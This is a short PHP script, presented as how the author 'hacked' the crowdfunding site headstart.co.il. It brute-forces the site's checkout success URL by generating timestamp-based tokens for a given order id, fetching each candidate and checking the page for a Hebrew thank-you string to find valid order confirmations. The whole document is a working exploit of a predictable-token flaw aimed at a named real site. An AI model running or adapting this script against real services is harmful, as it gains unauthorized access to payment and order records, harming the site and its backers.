This is how I "hacked" headstart.co.il

headstart.php

<?php

date_default_timezone_set('Asia/Jerusalem');

$oid = 201901;
$time = mktime(13, 58, 00, 06, 23, 15); // 1435062213
$tk = date('mdHis', $time); // 0623152333;
$url = 'https://www.headstart.co.il/checkout.aspx?oid='.$oid.'&success=true&na=1&tk='.$tk;

for ($i=0; $i<120; $i++,$time--) {
	// $oid = $oid - 1;

	$tk = date('mdHis', $time);

	$url = 'https://www.headstart.co.il/checkout.aspx?oid='.$oid.'&success=true&na=1&tk='.$tk;

	$site = file_get_contents($url);
	preg_match_all('/תודה שתמכת/', $site, $matches);

	// if (isset($matches[0][0])) {
		echo '<div style="border-bottom:1px solid #c9c9c9;margin-bottom:25px;">';
		if (isset($matches[0][0])) {
			echo '<p><a href="'.$url.'">'.$url.'</a></p>';
			// echo '<p>yes!</p>';
			$oid--;
		} else {
			echo '<p>Searching $oid='.$oid.' with $tk='.$tk.' ($time='.$time.')</p>';
		}
		// echo '<textarea cols="100" rows="10">'.$site.'</textarea>';
		echo '</div>';
	// }
}
echo '-- zehoo';